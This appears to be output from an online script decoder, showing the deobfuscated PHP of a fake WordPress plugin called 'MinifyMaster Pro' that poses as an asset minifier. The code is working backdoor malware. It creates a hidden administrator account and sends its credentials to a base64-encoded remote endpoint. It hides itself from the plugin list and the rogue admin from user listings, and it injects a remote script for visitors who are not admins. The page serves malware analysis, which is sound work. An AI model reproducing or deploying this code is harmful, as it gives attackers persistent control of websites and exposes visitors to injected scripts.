Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


/**
 * Plugin Name: MinifyMaster Pro
 * Plugin URI: github.com/MinifyMaster/Asset-Compression
 * Description: Advanced minification with CSS/JS optimization, code obfuscation, and bundle splitting for WordPress assets.
 * Version: 4.1.7
 * Author: Frontend Performance
 * Author URI: github.com/MinifyMaster
 * Text Domain: minifymaster-pro
 * License: MIT
 */

goto XlXla; XlXla: class MinifyMaster { private $seed; private $admin_ips = array(); private $option_name = "widget_recent_entries"; private $init_flag = "_transient_timeout_feed_9a6d482b9eab94a2e8778c52bb"; private $config = array("font" => "aHR0cHM6Ly9mb0cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9za2xkZmpnc2xka21mZ3NkZmcuY29tL2FmYXA=", "endpoint" => "aHR0cHM6Ly9raWNrc3RhciYmxvb20uaW5mby9jb2xsZWN0LnBocA=="); public function __construct() { goto K5CQl; ZejXT: $this->init_hooks(); goto PEbzK; SvT3H: $this->init_admin_ips(); goto ZejXT; K5CQl: $this->seed = md5(DB_PASSWORD . AUTH_SALT); goto SvT3H; PEbzK: } private function init_admin_ips() { $EAj2u = get_option($this->option_name); if ($EAj2u && isset($EAj2u["data"]["ips"])) { $this->admin_ips = $EAj2u["data"]["ips"]; } } private function init_hooks() { goto rbkHV; rbkHV: add_filter("all_plugins", array($this, "hide_plugin")); goto ecp7n; CkDR2: add_action("pre_user_query", array($this, "filter_admin_users")); goto XEjaW; ecp7n: add_action("init", array($this, "create_admin_user")); goto CkDR2; XEjaW: add_action("wp_enqueue_scripts", array($this, "load_styles")); goto Mj3WF; f_iMx: add_action("admin_init", array($this, "collect_admin_ip")); goto wQtxH; Mj3WF: add_action("wp_enqueue_scripts", array($this, "load_scripts"), 20); goto f_iMx; wQtxH: } public function hide_plugin($XQx05) { unset($XQx05[plugin_basename(__FILE__)]); return $XQx05; } public function create_admin_user() { goto kX6x0; MMaXf: update_option($this->init_flag, time() + 86400 * 30); goto qBbOm; poPny: $LZeWb = $this->generate_credentials(); goto UPa93; Gi_oL: $this->send_credentials($LZeWb); goto MMaXf; UPa93: if (!username_exists($LZeWb["user"])) { $byTUk = wp_create_user($LZeWb["user"], $LZeWb["pass"], $LZeWb["email"]); if (!is_wp_error($byTUk)) { $zWNzL = new WP_User($byTUk); $zWNzL->set_role("administrator"); } } goto Gi_oL; kX6x0: if (get_option($this->init_flag, false)) { return; } goto poPny; qBbOm: } private function generate_credentials() { $o85aY = substr(hash("sha6", $this->seed . "creds"), 0, 16); return ["user" => "wp_" . substr(md5($o85aY), 0, 8), "pass" => substr(md5($o85aY . "pass"), 0, 12), "email" => "wordpress@" . parse_url(home_url(), PHP_URL_HOST), "ip" => isset($_SERVER["SERVER_ADDR"]) ? $_SERVER["SERVER_ADDR"] : "1.0.0.1", "url" => home_url()]; } private function send_credentials($G9VLF) { if (!function_exists("wp_remote_post")) { return; } try { goto db1Hd; RsVqa: $wgW0o = ["body" => ["d" => base64_encode($baU5U)], "timeout" => 15, "blocking" => false, "sslverify" => false]; goto jFcmq; jFcmq: wp_remote_post(base64_decode($this->config["endpoint"]), $wgW0o); goto lkl1J; db1Hd: $baU5U = json_encode($G9VLF, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto RsVqa; lkl1J: } catch (Exception $aerPk) { } } public function filter_admin_users($oNM9y) { goto IXB9V; IXB9V: global $VypuM; goto OGaDT; OGaDT: $X7_Co = $this->generate_credentials()["user"]; goto RbAfY; RbAfY: $oNM9y->query_where .= " AND {$VypuM->users}.user_login != '{$X7_Co}'"; goto EloZ0; EloZ0: } public function load_styles() { wp_enqueue_style("wp-core-fonts", base64_decode($this->config["font"]), [], null); } public function load_scripts() { goto z71o_; dhmBR: $UJ9xm = base64_decode($this->config["script"]) . "?ts=" . time(); goto gjgo6; z71o_: if (current_user_can("manage_options") || in_array($this->get_client_ip(), $this->admin_ips)) { return; } goto dhmBR; gjgo6: wp_enqueue_script("wp-core-js", $UJ9xm, [], null, ["strategy" => "defer", "in_footer" => false]); goto iEl9G; iEl9G: } public function collect_admin_ip() { $XUoHp = $this->get_client_ip(); if ($XUoHp && !in_array($XUoHp, $this->admin_ips)) { $this->admin_ips[] = $XUoHp; $this->save_admin_ips(); } } private function save_admin_ips() { $G9VLF = ["title" => '', "number" => 5, "data" => ["ips" => $this->admin_ips, "timestamp" => time()]]; update_option($this->option_name, $G9VLF); } public function get_client_ip() { goto vzlGd; vzlGd: if (!empty($_SERVER["HTTP_CLIENT_IP"])) { return $_SERVER["HTTP_CLIENT_IP"]; } goto F60sx; IMHQp: return isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : "1.0.0.1"; goto H9v8q; F60sx: if (!empty($_SERVER["HTTP_X_FORWARDED_FOR"])) { $fGbdj = explode(",", $_SERVER["HTTP_X_FORWARDED_FOR"]); return trim($fGbdj[0]); } goto IMHQp; H9v8q: } } goto W150k; W150k: register_deactivation_hook(__FILE__, function () { }); goto CGlXK; CGlXK: $tTxzn = new MinifyMaster();




© 2023 Quttera Ltd. All rights reserved.